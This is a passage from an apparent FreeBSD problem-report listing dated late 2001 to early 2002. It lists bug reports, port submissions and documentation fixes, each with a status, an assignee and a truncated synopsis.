wrong) o [2001/10/11] misc/31225 "make release" fails if TERMCAP environme o [2001/10/11] bin/31228 vnconfig -ae configures but not mount dev o [2001/10/11] ports/31229 ports new port: astro/linux-setiathome-i686 o [2001/10/13] kern/31255 select with zero timeout returns 0 even w o [2001/10/14] docs/31264 jdp cvsup(1) "base" option and keyword descri a [2001/10/14] docs/31271 doc rl(4) discourages vender openness by disp o [2001/10/15] ports/31282 ports NEW PORT: aolserver+ad f [2001/10/15] ports/31288 ports LPRng-3.7.9 port (LPRng) update o [2001/10/15] misc/31297 yokota New screen blanker module for syscons o [2001/10/17] ports/31342 ports I was trying to install xscreensaver and o [2001/10/18] i386/31353 'shutdown -p' does not work on SMP Tyan T a [2001/10/18] conf/31358 sheldonh Need to load NFS client LKM. o [2001/10/18] ports/31364 sobomax URW fonts needed to run jdk13 jfc demos a o [2001/10/19] kern/31367 General boot fault during mounting root w o [2001/10/19] ports/31369 adrian New KMerlin Port o [2001/10/19] docs/31370 fenner typo in tcpdump manpage o [2001/10/19] misc/31380 NFS rootfs mount failure message too cryp o [2001/10/20] bin/31387 When getuid()=0, mailwrapper should drop o [2001/10/20] ports/31389 portmgr tidy readme templates + port readme enhan o [2001/10/21] ports/31399 jkh sysinstall (4.4REL) hangs on pkg_add of c o [2001/10/21] i386/31427 minor incorrect code in sys/i386/i386/pma o [2001/10/22] bin/31432 umount(8) and unmount(2) don't corespond o [2001/10/22] kern/31445 sound cat sound.au > /dev/audio fails for sound a [2001/10/23] kern/31455 n_hibma [PATCH] ohci driver probrem when send dat o [2001/10/23] kern/31456 Register number definition for AMD PCnet o [2001/10/23] ports/31461 ports New ports: deskutils/mcal & gmcal - a lib o [2001/10/23] ports/31462 peter rdist6 does not like accounts with '.' in o [2001/10/24] bin/31476 ifconfig's lladdr is ethernet specific o [2001/10/25] ports/31486 kuriyama ports/palm/prc-tools-gcc does not build m f [2001/10/25] ports/31487 dinoex licq-qt-gui plugin does not parse local a f [2001/10/25] misc/31489 Conflict Between BPF and ssh2 protocol in o [2001/10/25] kern/31490 Panic in sysctl_sysctl_next_ls on empy no o [2001/10/26] ports/31517 ports New Port: kdetheme-qnix o [2001/10/26] ports/31518 ports GD 1.8.4 port fails to build TTF support o [2001/10/26] kern/31521 cg pcm0 plays too fast on Intel 82801BA (ICH o [2001/10/27] i386/31535 Can't reboot system: Tyan Thunder K7+ Dua o [2001/10/28] conf/31555 rc.syscons does not run standalone f [2001/10/28] ports/31579 kde kdessl of kde-2.2.1 wants to link to libs o [2001/10/29] bin/31588 change request to allow mount(1) to set t a [2001/10/29] ports/31591 kde kdeinit crashes when I close KDE2 session o [2001/10/29] kern/31624 writev may return undocumented ECONNRESET o [2001/10/30] ports/31630 ports Port se-ispell install the dictionary in o [2001/10/30] bin/31632 ip6fw error under DNS dislabled environme o [2001/10/30] docs/31640 doc Avoiding uppercase program names in manpa o [2001/10/30] ports/31644 jmacd Update: devel/prcs o [2001/10/30] kern/31647 socket calls can return undocumented EINV o [2001/10/30] ports/31652 obrien default make package fails for editors/vi o [2001/10/30] docs/31653 doc Chapter 14 of the Handbook lacks content o [2001/10/31] ports/31669 ports New port: graphics/xawtv_applet o [2001/10/31] ports/31674 ports port math/plplot doesn't build a TCL enab o [2001/10/31] ports/31684 ports ports/comms/hylafax fixes o [2001/11/01] gnu/31685 wosch apropos(1) manual page doesn't tell that o [2001/11/01] i386/31686 Problem with the timestamp option when fl o [2001/11/02] kern/31708 VM system / fsync / flushing delayed inde o [2001/11/02] kern/31711 Enhancements and bug fixes to Aironet dri o [2001/11/02] ports/31712 ports Add the Linux to flash Cisco/Aironet card o [2001/11/02] i386/31716 FreeBSD uses broken tsc timecounter by de o [2001/11/03] ports/31744 ports New port: emulators/minix (2.0.0) o [2001/11/04] ports/31755 znerd linux-jdk1.2.2 looks for registervm in st o [2001/11/04] ports/31757 ports devel/gvd doesn't build without tex o [2001/11/05] gnu/31772 New option in dialog(1) o [2001/11/05] ports/31773 ports New port: audio/cplay, audioplayer for th o [2001/11/05] ports/31775 ports Better path for the X11 fonts from the po s [2001/11/06] ports/31809 kde [UPDATE] qt23 port to qt-2.3.2 o [2001/11/06] ports/31813 ports New Port - Update: dbXML - Java Native XM o [2001/11/07] ports/31841 ports update to geda tool set o [2001/11/08] ports/31858 ports New port: pike 7.2.234 (current CVS versi o [2001/11/08] ports/31862 portmgr [PATCH] 'make search' problem if /usr/obj o [2001/11/09] misc/31890 new syscons font o [2001/11/10] bin/31906 No method available to unwind atexit(3) s o [2001/11/11] ports/31910 greid comms/sms_client o [2001/11/12] ports/31926 ports New port security/drweb-qmail: Qmail mess o [2001/11/12] bin/31933 pw can interpret numeric name as userid d a [2001/11/12] ports/31943 dirk mysql323-server port hostname look up fai o [2001/11/12] ports/31944 portmgr bsd.port.mk: USE_XPM (implied by USE_MOTI a [2001/11/12] ports/31945 ports new port: devel/xbkregex library o [2001/11/13] kern/31971 microuptime() went backwards when apm is o [2001/11/14] ports/31975 ports "Error in backend/storage/lmgr/proc.c: Pr o [2001/11/14] misc/31981 (mis)feature in getnetent parsing -- comm o [2001/11/14] ports/31984 znerd Update orion port for config of rmi serve o [2001/11/14] bin/31985 New /etc/remote flag for tip to append LF o [2001/11/14] bin/31987 patch to allow dump(1) to notify operator o [2001/11/14] ports/31996 ports Build of db3 fails at ./configure a [2001/11/14] bin/31997 des login: chmod(/dev/tty??): No such file or o [2001/11/15] i386/32014 ppi locks up system during boot o [2001/11/15] ports/32015 kuriyama ports/palm/pilrc bugs o [2001/11/15] docs/32020 doc loader.8 manpage missing tunables o [2001/11/15] ports/32022 znerd New port: Jakarta Tomcat 4.0.1 o [2001/11/15] ports/32034 ports [NEW PORT] ncurses-ada -- an Ada 95 bindi o [2001/11/16] ports/32037 ports New port: pm-lib o [2001/11/16] ports/32039 greid UPDATE devel/asmutils 0.14 -> 0.15 o [2001/11/16] docs/32041 doc Add point about net.inet.tcp.portange.{fi o [2001/11/16] ports/32046 ports Port cleanup: x11-fonts/webfonts a [2001/11/16] ports/32048 ports New port: palm/hdunix (1.0) o [2001/11/16] docs/32054 doc inconsistency between index.3 and rindex. o [2001/11/17] ports/32056 ports New Port: emulators/adamem f [2001/11/17] ports/32060 ports New port: mkfile(8) for FreeBSD o [2001/11/17] conf/32067 Problems with spanish keyboard in console o [2001/11/18] ports/32076 ports WISH: merge icon patch to blackbox port o [2001/11/18] bin/32079 minor timebomb in /etc/rc o [2001/11/18] bin/32092 crypt pickups the wrong password format o [2001/11/18] ports/32097 nik scr2png doesn't make with other LOCALBASE o [2001/11/19] conf/32108 Proposed Firewall (IPv4) configuration sc o [2001/11/19] ports/32114 portmgr WRKDIRs should be moved to a central loca a [2001/11/19] misc/32119 phantom Support for the modern greek language a [2001/11/19] misc/32120 PR misc/24324 errata o [2001/11/19] ports/32122 jmz xf86cfg graphics-mode fails on Samsung Sy o [2001/11/20] bin/32126 getopt(3) not Unix-98 conformant a [2001/11/20] misc/32133 phantom Bug in greek locale fixed f [2001/11/20] misc/32144 murray unattended install with sysinstall doesn' o [2001/11/20] ports/32145 jmz XFree86 doesn't ldconfig itself o [2001/11/20] ports/32147 kris mindguard port dumps core o [2001/11/21] kern/32169 kernel option to enable PCI devices on ma o [2001/11/21] ports/32174 portmgr Autoconf patch for bsd.port.mk a [2001/11/22] misc/32193 phantom Termcap ACS support for greek ISO-8859-7 o [2001/11/22] ports/32202 ports ports/devel/py-htmlkit distribution does o [2001/11/22] ports/32207 ade libiconv cannot be built by a pleb o [2001/11/23] misc/32210 System hangs while kernel waiting for SCS o [2001/11/23] ports/32224 znerd java/linux-jdk is out of date (RC4 iso FC o [2001/11/23] docs/32229 keramida Omission from Handbook Chapter 17.8 (DHCP a [2001/11/23] ports/32231 ports Update port devel/fam o [2001/11/23] ports/32232 dirk Update and bugfix port: www/mod_php4 a [2001/11/23] misc/32233 Fix /usr/src/sbin/mount_msdosfs/iso72dos o [2001/11/23] ports/32243 sobomax ports/py-wxPython fails to compile o [2001/11/24] i386/32251 bugfix and new feature for apmd o [2001/11/24] ports/32258 scrappy converters/p5-Convert-ASN1 out of date o [2001/11/24] ports/32259 scrappy Update security/p5-IO-Socket-SSL request o [2001/11/25] misc/32265 dwmalone Adding calendar.french o [2001/11/25] ports/32272 petef port upgrade to latest blender version o [2001/11/25] ports/32273 kde kdm doesn't set paths from login.conf o [2001/11/25] ports/32281 ports Dead project for openverse. o [2001/11/25] ports/32282 petef fvwm 2.4.3 generate error wrt 'Help' key o [2001/11/25] ports/32283 nbm Port upgrade: www/zope from 2.4.2 to 2.4. o [2001/11/26] ports/32285 vanilla a new port for application gimp-print o [2001/11/26] conf/32288 After install: /etc/rc complains if crypt o [2001/11/26] bin/32299 peter nm coredumps on sendmail in -current o [2001/11/26] i386/32301 dfr Fix for agpgart for the AMD-751 and relat o [2001/11/26] ports/32317 petef Request for linux-qt port o [2001/11/26] bin/32318 cjc no userland tool available to test resolv a [2001/11/26] docs/32323 doc man page `named(8)' do not have link for f [2001/11/27] ports/32328 ports Port update: mc-4.5.55 o [2001/11/27] bin/32342 vmstat.c: certain variables appear to hav o [2001/11/27] ports/32345 ports New port: devel/hmake o [2001/11/28] ports/32361 ports port doesn't work, www/mod_log_mysql o [2001/11/28] ports/32362 ports postgresql7 port should install more *.h a [2001/11/29] conf/32375 murray sysinstall doesn't respect User generated f [2001/11/29] ports/32391 shige psgml-emacs20 breaks emacs's standard htm o [2001/11/30] misc/32400 rwhod - option to specify hostname o [2001/11/30] ports/32405 dirk Japanese encoding translation support for o [2001/11/30] bin/32411 shutdown's absolute-time handling could b o [2001/12/01] docs/32425 doc Document cvs update `P file' output o [2001/12/01] bin/32433 Cannot specify files beginning with + on o [2001/12/02] ports/32444 dirk www/mod_php4: ctype support o [2001/12/02] ports/32445 portmgr CONFIGURE_TARGET default setting is bogus a [2001/12/02] misc/32448 phantom Cyrillic ISO 8859-5 fonts a [2001/12/02] misc/32449 phantom Cyrillic ISO 8859-5 keymaps a [2001/12/02] misc/32450 phantom Ukrainian ISO 8859-5 locale files o [2001/12/02] docs/32460 keramida named.conf(5) types and two bad markups. o [2001/12/03] docs/32468 doc broken link in handbook: sysutils/mkisofs o [2001/12/03] kern/32478 scsi/NIC drivers fail when using SMP kern o [2001/12/03] misc/32480 Missing graphic characters in syscons fon o [2001/12/03] misc/32490 umass support for ATAPI [with patch] o [2001/12/04] bin/32501 quot(8) is stupid regarding the filesyste o [2001/12/04] ports/32502 dima port update palm/pilot-link to 0.9.6 o [2001/12/04] ports/32508 ports www/flashplugin-mozilla has malloc bug o [2001/12/04] ports/32517 green Update port: emulators/snes9x to 1.39 o [2001/12/05] docs/32542 rwatson tuning(7) inaccurate o [2001/12/05] ports/32546 znerd Remove fully-qualified lib symlinks from o [2001/12/06] docs/32561 jasone missed functions in pthread(3) o [2001/12/06] ports/32565 ports New port: QScheme scheme interpretor o [2001/12/07] ports/32572 kde net/kio_fish: konq has no icons for fish: s [2001/12/07] docs/32578 doc A _really_ petty change to the front page o [2001/12/07] ports/32582 greid Update port: audio/tempest_for_eliza o [2001/12/07] ports/32585 nbm x11-wm/pwm/pkg-descr refers to "screensho o [2001/12/07] bin/32588 grog operator should backup vinum vols o [2001/12/07] ports/32596 keichii update port: chinese/auto-tw-l10n o [2001/12/08] ports/32604 ports Many ports which depends on apache don't f [2001/12/08] misc/32605 nsouch SMBus driver broken o [2001/12/09] ports/32651 ache a small patch to obtain socks5 support to o [2001/12/09] kern/32652 joe A new ioctl to uscanner o [2001/12/09] ports/32653 ports Added patches to improve USB scanner supp f [2001/12/09] bin/32657 sed file handing is non-standard o [2001/12/09] kern/32659 dillon VM and VNODE leak with vm.swap_idle_enabl o [2001/12/09] gnu/32661 dd send-pr uses $LOGNAME for From and Reply o [2001/12/09] docs/32662 dd arp(8) uses "this host" with two differen o [2001/12/10] i386/32666 imp mbufs leaks in dev/ed o [2001/12/10] bin/32667 systat waste too much time reading input o [2001/12/10] kern/32671 imp Patch to generate usbdevs.h automatically o [2001/12/10] docs/32674 doc no man page for the ntp_adjtime system ca a [2001/12/10] bin/32675 kris openssl dhparam hangs when using /dev/ran o [2001/12/10] kern/32677 pciconf -l opens /dev/pci for read/write o [2001/12/10] misc/32680 [PATCH] Allows users to start jails by ho o [2001/12/10] ports/32690 keichii Uodate port: chinese/rxvt from 2.7.5 to 2 o [2001/12/11] ports/32704 obrien update ical to use tk8.3 o [2001/12/12] ports/32743 ports Update port: games/nethack3-gnome/games/n o [2001/12/12] ports/32762 ache Update for archivers/xpk o [2001/12/13] kern/32799 ucom and uplcom drivers ported from NetBS o [2001/12/13] bin/32808 dwmalone [PATCH] tcpd.h lacks prototype for hosts_ o [2001/12/13] kern/32812 roger bktr driver missing tuner for eeprom dete o [2001/12/13] docs/32825 doc undocumented options in LINT o [2001/12/14] bin/32828 phk w incorrectly handles stale utmp slots wi o [2001/12/14] conf/32841 cjc kernel ppp sample conf files missing fro o [2001/12/15] ports/32864 trevor Update port: x11-wm/swm to 1.3.2 (fix por o [2001/12/15] docs/32877 darrenr typo in ipfs.8 o [2001/12/15] kern/32880 ambrisko Update aironet driver to correct signal s o [2001/12/15] ports/32883 ports New port: deskutils/nag - Horde's task li o [2001/12/16] ports/32899 anders mail/nbsmtp causes segfaults while a comm o [2001/12/16] gnu/32902 Incremental tar archiving using GNU style o [2001/12/16] kern/32912 msmith options misssing TCBHASHSIZE o [2001/12/16] ports/32917 ports installing ports may fail if $GREP_OPTION o [2001/12/17] ports/32926 lioux [NEW PORT] djvulibre-3.5.2--a Mozilla plu o [2001/12/17] bin/32935 /bin/sh buildin echo command have invalid o [2001/12/17] ports/32936 mharo ports/security/keyprint only supports S/K o [2001/12/18] conf/32976 assar Kerberos5 config files not installed by d o [2001/12/18] docs/32979 assar manpages are not installed for k5admin an o [2001/12/18] ports/32986 ports new port: graphics/transcode o [2001/12/18] ports/32999 ports New ports: devel/ORBacus4 o [2001/12/19] kern/33004 n_hibma Patch for USB (uhci) o [2001/12/19] misc/33007 n_hibma umass device timeout after successive use o [2001/12/19] ports/33008 will New Port: x11-wm/kwinacqua o [2001/12/19] misc/33013 cg mixer does not have treble/bass for Sound o [2001/12/19] kern/33014 installkernel without buildkernel gives c o [2001/12/19] conf/33018 Patch for RC (add multiple SSHD configura a [2001/12/19] ports/33023 ports failed to make install ports/textproc/p5- a [2001/12/20] i386/33031 phantom /usr/src/share/mklocale/zh_TW.Big5.src ty o [2001/12/20] ports/33038 keith update port: chinese/ttfm for bento error o [2001/12/20] ports/33039 keith update port: chinese/moefonts-cid for pkg o [2001/12/20] ports/33049 mharo proftpd file permission error. o [2001/12/21] bin/33066 rwatson sysinstall does not write to new disks as a [2001/12/22] ports/33094 okazaki converters/mule-ucs, add emacs21 support s [2001/12/22] ports/33095 dirk update cdrtools to 1.11a13pre3 (1.10.p11. o [2001/12/22] i386/33097 sound Crystal 4237b mixer problems o [2001/12/23] ports/33108 portmgr Generate an error if WRKDIRPREFIX == /usr o [2001/12/23] ports/33109 ports Xercec-C++ port proposals o [2001/12/23] kern/33117 empty struct md_coredump in pcb.h and use o [2001/12/23] ports/33118 keith update port: chinese/moefonts-cid for Ado o [2001/12/23] ports/33122 greid update port: www/dillo from 0.5.0 to 0.6. o [2001/12/23] kern/33124 jhb kthread_create doesnt mark kthreads as kt o [2001/12/23] bin/33133 keyinit outputs wrong next login password o [2001/12/23] ports/33134 keith update port: chinese/ghostscript6 for Ado o [2001/12/23] ports/33135 ports New port: devel/kprof - A profiling tool o [2001/12/24] ports/33159 ports New port: graphics/py-graphviz o [2001/12/25] ports/33168 ports new port: mail/mavbiff o [2001/12/25] ports/33176 ports fix minor build problem with ac-archive o [2001/12/25] gnu/33182 mp gdb seg faults when given handle SIGALRM o [2001/12/26] ports/33192 ports java/jdbcpool: update to 0.99 o [2001/12/26] ports/33196 portmgr duplicate lines in /usr/ports/INDEX o [2001/12/26] kern/33202 msmith sys/dev/mly/mly.c minor mly_printf cosmet o [2001/12/26] kern/33203 dillon "got bad cookie" errors on NFS client o [2001/12/26] ports/33207 ports LPRng port update o [2001/12/26] ports/33208 ports ifhp port update o [2001/12/26] ports/33209 ports LPRngTool port o [2001/12/26] ports/33212 tobez perl5 port fails to register dependency o o [2001/12/26] misc/33220 phantom Greek locale MFC plea o [2001/12/26] ports/33224 me Build breaks on CURRENT due to 0 o [2002/02/01] ports/34523 ports man pages of nwclient602 install to wrong o [2002/02/01] docs/34529 doc [patch] Grammar nits in usbd.conf(5) and a [2002/02/01] ports/34534 dinoex licq-qt-gui-1.0.3, builds fine, but when f [2002/02/01] i386/34537 The second NIC card could not get configu o [2002/02/01] gnu/34538 mp_set_memory_functions not extern "C"'d o [2002/02/01] docs/34547 keramida [patch] edits of FAQ Introduction o [2002/02/02] ports/34550 ports ghostscript-gnu-nox11 portversion 6.51 fa o [2002/02/02] ports/34551 billf net/net-snmp is not LOCALBASE clean o [2002/02/02] ports/34565 ports graphics/blender port is broke o [2002/02/02] ports/34567 ports New port: IMCom command-line Jabber clien o [2002/02/02] ports/34570 ports Broken "Makefile" in /usr/port/misc/afbac o [2002/02/03] docs/34577 doc Some man pages still advise using "confli o [2002/02/03] docs/34583 doc DECLARE_MODULE(9) man page is broken. o [2002/02/03] kern/34591 ICMP bandwidth limiting does not indicate o [2002/02/03] misc/34596 slow gettimeofday in FreeBSD 4.5 o [2002/02/03] ports/34597 eivind [PATCH] Update ports/mail/isync to 0.8 o [2002/02/03] ports/34600 kevlo Update port: textproc/xerces to 2.0.0 o [2002/02/04] misc/34621 billf i have a patch for (lol) /usr/games/fish o [2002/02/04] docs/34626 doc Copyright on "Index of /mail/current" pag o [2002/02/04] bin/34628 pkg-routines ignore the recorded md5 chec o [2002/02/04] bin/34629 des fetch(1) cannot download RH 7.2 ISOs from o [2002/02/05] ports/34635 ports games/flightgear o [2002/02/05] kern/34637 LINT is wrong -- NMBCLUSTERS doesn't auto o [2002/02/05] misc/34642 Windows 2000 will not dual boot with Free o [2002/02/05] ports/34650 nbm UPDATE/FIX : database/phppgadmin 2.3 -> 2 o [2002/02/05] docs/34654 doc Update UIDs for porters handbook o [2002/02/06] ports/34659 reg Proposed change to Mozilla port's Makefil o [2002/02/06] kern/34665 ipfilter rcmd proxy "hangs". o [2002/02/06] misc/34673 Second call to select() waits ~100ms befo o [2002/02/06] bin/34676 obrien dhclient always in -q quiet mode (PATCH E o [2002/02/07] bin/34698 des bug in truss/main.c f [2002/02/07] ports/34700 ade print/gnomeprint needs gdk-pixbuf but not o [2002/02/07] gnu/34709 [patch] Inaccurate GDB documentation o [2002/02/07] kern/34712 [patch] SCSI quirk for USB Memorybird o [2002/02/07] ports/34714 ache unzip(1) breaks filenames in non-ASCII ch o [2002/02/07] ports/34717 portmgr bsd.port.mk: extraneous quotes in PTHREAD o [2002/02/07] ports/34718 portmgr make fetch-list includes things make fetc o [2002/02/07] bin/34728 DHCP hostname set as Hexadecimal string o [2002/02/08] conf/34729 treat smbfs as network file system in /et o [2002/02/08] conf/34733 useless/invalid lomac option added by sys o [2002/02/08] ports/34737 ports New port: graphics/lodju o [2002/02/08] ports/34742 obrien bash2 missing build dependency on autocon o [2002/02/08] docs/34743 doc nfsd(8) lacking signal explanation o [2002/02/08] bin/34744 Add -a (same as -PpR) flag to cp(1) o [2002/02/08] kern/34747 Please add USB floppy entry o [2002/02/09] misc/34757 Difficulty in starting x-server o [2002/02/09] misc/34759 Phantasia does not accept [enter] key o [2002/02/09] ports/34760 ports New port: net/dstumbler a curses based ap o [2002/02/09] docs/34763 wosch Broken link from RELNOTSES a [2002/02/09] ports/34770 dougb Update port: graphics/xpdf to 1.00 (fix p o [2002/02/09] ports/34774 trevor Update port: x11-wm/aewm to 1.2.0 (fix po o [2002/02/09] conf/34776 rc.diskless1 creates insufficiently sized o [2002/02/09] ports/34779 ports Update port: ja-kdevelop, ja-kdenetwork, o [2002/02/09] docs/34782 doc pw(8) contains conflicting explanations f o [2002/02/10] misc/34788 dwmalone dmesg issues with console output o [2002/02/10] kern/34789 joe PNY brand USB flash readers need 10 byte o [2002/02/10] misc/34790 [PATCH] fortune(6) typo fixes o [2002/02/10] kern/34791 MFC removal of outdated comment from sysc o [2002/02/10] ports/34792 ports New port: acfax o [2002/02/10] docs/34794 doc [patch] Documentation Primer uses depreca o [2002/02/10] ports/34796 jmz wrong path in /etc/XF86Config (purely cos o [2002/02/10] ports/34797 ports xmame links with wrong libusb o [2002/02/10] ports/34804 ports .asmailrc -- the user config file for por o [2002/02/10] ports/34806 gnome esd from esound-0.2.23 port doesn't conne o [2002/02/10] ports/34809 ports german/bbbike update o [2002/02/10] ports/34812 ports [MAINTAINER UPDATE] database/firebird-dev o [2002/02/10] bin/34813 [PATCH] sed dumps core on "unusual" scrip o [2002/02/10] ports/34815 lioux new port: freenet, the anonymous internet o [2002/02/11] kern/34820 FreeBSD should be able to beep after shut o [2002/02/11] ports/34827 billf [patch] net/ethereal has a changed master o [2002/02/11] bin/34831 [PATCH] send-pr -a doesn't work as advert o [2002/02/11] bin/34832 /usr/share/man/cat3/setkey.3.gz linked to o [2002/02/11] bin/34834 "fix" of du(1) and -h o [2002/02/11] ports/34835 ports [PATCH] ghostscript-gnu fails to compile o [2002/02/11] ports/34840 ports New port: DansGuardian -- fast web conten o [2002/02/11] ports/34841 dirk Adding cyrus to mod_php o [2002/02/11] bin/34843 `tcpdump port echo' filters for port 4 in o [2002/02/11] misc/34847 oversight in LINT documentation line o [2002/02/11] misc/34850 scp cannot talk to ssh2 sites that have S o [2002/02/11] kern/34854 /src/sys/dev/sound doesn't work correctly o [2002/02/11] ports/34864 ade change request to allow teTeX to build WI o [2002/02/12] ports/34870 ports new port: lang/pnetlib o [2002/02/12] bin/34874 Netstat output to small o [2002/02/12] ports/34875 gnome medusa doesn't build o [2002/02/12] ports/34876 ports Update port: net/cricket to 1.0.3 o [2002/02/12] ports/34878 sysinstall o [2002/02/12] kern/34880 Impossibility of grouping IP into a pipe o [2002/02/12] bin/34898 [PATCH] rev 1.7 of xargs.c broke document o [2002/02/13] ports/34901 gnome sodipodi-0.24.1 core dumps o [2002/02/13] ports/34904 gnome graphics/imlib is not LOCALBASE clean o [2002/02/13] ports/34908 ports libpng port makes bad dynamic library on o [2002/02/13] docs/34909 doc Porters Handbook or portlint problem o [2002/02/13] ports/34910 ports New port submission: mbrowse o [2002/02/13] bin/34919 portmap can not exclusively bind to 127.0 o [2002/02/13] docs/34921 doc Developer's Handbook fixes continued: Ker o [2002/02/13] misc/34924 kscd crash on startup signal 11 o [2002/02/13] ports/34925 billf [PATCH] Fix build of net-snmp o [2002/02/14] ports/34928 ports New port for cppunit o [2002/02/14] ports/34931 znerd Default users in WWW ports to use newly i o [2002/02/14] misc/34935 New locale (Cyrillic Windows Codepage 125 o [2002/02/14] kern/34942 Attempt to play -> "pcm0: play interrupt o [2002/02/14] alpha/34948 alpha Promise TX2 ATA133 controller doesnt work f [2002/02/14] misc/34949 4.5 mfsroot floppy default system to inst o [2002/02/14] kern/34952 Mouse cursor invisible with USB mice and o [2002/02/15] conf/34954 imp pccard.conf entry for BUFFALO LPC3-CLT (1 o [2002/02/15] bin/34955 [PATCH] ps(1) is out of touch with realit o [2002/02/15] kern/34963 identify procs belonging to the same jail o [2002/02/15] kern/34965 4.4, 4.5 freeze at boot time on ASUS P2B o [2002/02/15] ports/34970 kris patch for ports/security/pks o [2002/02/15] ports/34974 kde Incorrect mouse config in kde 2.2.2 o [2002/02/15] ports/34975 ports mplayer don't compile with divx codec o [2002/02/15] ports/34976 ports New port: graphics/sinek o [2002/02/15] ports/34978 mharo security/p5-Crypt-RSA missing required mo o [2002/02/15] kern/34979 __semctl verifies semid against wrong val o [2002/02/15] ports/34981 ports new port: misc/bibletime: biblestudy appl o [2002/02/15] ports/34985 ports New port: net/ldapdiff A utility to patch o [2002/02/15] ports/34987 portmgr bsd.port.mk: silence awk's warning o [2002/02/15] ports/34988 portmgr bsd.port.mk: use ECHO_CMD instead of ECHO o [2002/02/15] ports/34991 ports New port: durep (displays disk usage in a o [2002/02/16] ports/34994 gnome Distfile for devel/pkgconfig unfetchable o [2002/02/16] ports/34997 ports xf86cfg core dumps o [2002/02/16] ports/34999 ports New Port: QScheme scheme interpretor o [2002/02/16] ports/35006 ports New port archivers/arj: ARJ32 v 3.10 file o [2002/02/16] ports/35007 ports New port archivers/arj: ARJ32 v 3.10 russ o [2002/02/16] ports/35008 ports [SHAR] New port: editors/scribus. This PR o [2002/02/16] kern/35010 pcm0 fails to attach with Intel 82801BA ( o [2002/02/16] docs/35011 doc There are no commands called "diskless" o o [2002/02/16] ports/35014 ports lame port does not depend on Gtk so far. o [2002/02/16] bin/35018 enhancing daily/460.status-mail-rejects o [2002/02/16] ports/35023 ports openmotif,openmotif-devel -> openmotif2.2 o [2002/02/17] ports/35037 ports New port: sysutils/cfengine-devel o [2002/02/17] ports/35038 ports cleanup pkg-plist for x11-toolkits/Xaw3d o [2002/02/17] ports/35046 ports mail/imp: update php.ini to permit attach o [2002/02/17] ports/35047 ports www/horde-devel: adding syntax highlighti o [2002/02/17] ports/35048 ports devel/chora: fix wrong date display + add o [2002/02/17] ports/35049 ports mail/imp-devel: fix a warning when buildi o [2002/02/17] ports/35051 ports Repocopy request: www/horde-devel -> www/ o [2002/02/17] ports/35053 ports libomapi.a conflict from bind9 and isc-dh o [2002/02/17] ports/35060 ports New port: deskmenu (GTK root menu applica o [2002/02/17] ports/35062 ports New Port: audio/xmms-mailnotify 0.2.0 o [2002/02/17] kern/35064 ACPI not work with Epox 8KHA+ motherboard o [2002/02/17] bin/35070 math(3) references section "3m", etc. o [2002/02/18] i386/35077 Identify Intel 82845 chipset o [2002/02/18] i386/35078 Uninitialized pointer dereference in func o [2002/02/18] ports/35079 ports Allow JDK version to be overridden in jav o [2002/02/18] ports/35080 ports Allow JDK version to be overridden in jav o [2002/02/18] ports/35083 gnome Gnome screensaver doesn't work, but KDE's o [2002/02/18] ports/35084 kde kdegraphics package on ftp.freebsd.org is o [2002/02/18] misc/35088 USB-Mouse configuration with sysinstall o [2002/02/18] ports/35090 ports stuffit-5.2.0.611 fails to register man p o [2002/02/18] ports/35092 ports Xterm termcap should have color capabilit o [2002/02/18] docs/35098 doc NFS chapter simultaneously sucks and blow o [2002/02/18] bin/35099 ldd in -STABLE fails on libc. o [2002/02/18] ports/35100 ports Upgrade aolserver from 3.4 to 3.4.2 o [2002/02/18] i386/35101 cvusupit and other packages won't extract o [2002/02/18] ports/35102 ports New port: Ultima IV engine o [2002/02/18] docs/35105 doc [PATCH] handbook User-ppp chapter o [2002/02/18] ports/35106 ports Update port: mail/p5-MIME-Lite to 2.117 o [2002/02/19] kern/35107 Add new usb ethernet adapter: corega FEth o [2002/02/19] docs/35108 doc Developers' Handbook::VM chapter o [2002/02/19] bin/35109 [PATCH] games/morse: add ability to decod o [2002/02/19] bin/35113 grdc enhancement: countdown timer mode o [2002/02/19] ports/35117 ports Undefined symbol "ldap_get_dn" when tryin o [2002/02/19] ports/35122 mharo ports/security/p5-Crypt-RSA update o [2002/02/19] i386/35124 No mouse with FreeBSD 4.5 with ECS K7S5a o [2002/02/19] ports/35128 ports Canon Powershot A20 support for s20sh o [2002/02/19] bin/35129 Maildir support in login(1) o [2002/02/19] misc/35130 bmah Example dd command for making 4.x install o [2002/02/19] ports/35131 ports New port: unittest framework for c o [2002/02/20] docs/35140 doc How to enable DPMS support in XFree86-4 i o [2002/02/20] ports/35144 roger openh323 won't compile on -stable (fix in o [2002/02/20] ports/35146 ports New port: A Unit testing framework for Ad o [2002/02/20] bin/35148 ppp/nat-problems after cvs update 4.3 -> o [2002/02/20] ports/35149 sumikawa www/mozilla does not install IPv6 o [2002/02/20] ports/35154 ports [MAINTAINER UPDATE]: emulators/xmame o [2002/02/20] gnu/35156 suggestion: hard link /usr/bin/awk to /us o [2002/02/20] ports/35157 ports ports/sysutils/httplog has a checksum err o [2002/02/20] ports/35165 ports New port: textproc/smart an information r o [2002/02/20] ports/35166 ports [NEW PORT} xine-mms o [2002/02/20] ports/35168 nsayer x11/mgapdesk port broken o [2002/02/20] ports/35169 dima palm/pilot-link: changes to support p5-PD o [2002/02/20] ports/35170 ports New port: p5-PDA-Pilot: experimental Perl o [2002/02/20] kern/35171 Moused needs to be enabled to run a USB m o [2002/02/21] misc/35172 Please update am-utils(amd) into newer ve o [2002/02/21] kern/35175 ptrace(PT_DETACH, ....) doesn't do signal o [2002/02/21] ports/35177 chuckr math/gnuplot missing WITHOUT_X11 option o [2002/02/21] conf/35178 ipfilter for IPV6 not availlable in rc.* o [2002/02/21] i386/35182 APMD does not set close on exec for /dev/ o [2002/02/21] ports/35186 ports ports/www/mod_mp3 has a checksum error o [2002/02/21] ports/35187 ports New port: xmlada - an xml processing libr o [2002/02/21] ports/35188 ports Update port: www/apache2 o [2002/02/21] ports/35190 ports New Port: autoproject o [2002/02/21] ports/35192 billf ports/net/net-snmp garbles /usr/local/sha o [2002/02/21] ports/35193 ports New port: astro/nightfall o [2002/02/21] kern/35195 msync performance on large files o [2002/02/21] ports/35197 dirk [PATCH] fix "auto-crash" build failure on o [2002/02/21] ports/35198 ports New port: biology/crimap o [2002/02/21] ports/35199 ports New ports: japanese/phpgroupware o [2002/02/21] bin/35201 link and unlink are not SUSv2-compliant a o [2002/02/22] ports/35204 dirk www/mod_php4 with xslt is not LOCALBASE c o [2002/02/22] ports/35205 ports New port: russian/mtc - Multifile text En o [2002/02/22] docs/35206 doc Give information how to mount a photo-cd o [2002/02/22] ports/35221 kde kdenetwork2 won't compile o [2002/02/22] docs/35222 doc mailing list archive URL regexp suboptima o 